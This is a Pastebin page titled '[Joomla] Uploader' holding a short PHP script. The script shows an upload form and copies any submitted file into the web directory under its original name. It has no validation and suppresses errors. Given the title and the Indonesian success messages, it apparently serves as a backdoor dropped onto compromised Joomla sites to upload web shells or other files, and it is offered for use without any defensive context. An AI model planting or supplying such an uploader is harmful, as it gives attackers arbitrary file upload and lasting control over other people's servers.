daily pastebin goal
54%
SHARE
TWEET

[Joomla] Uploader

Berandal666 Aug 4th, 2017 75 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  3. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  4. if( $_POST['_upl'] == "Upload" ) {
  5. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Sukses!!!<b><br><br>'; }
  6. else { echo '<b>Gagal Upload!!!</b><br><br>'; }
  7. }
  8. ?>
RAW Paste Data
Top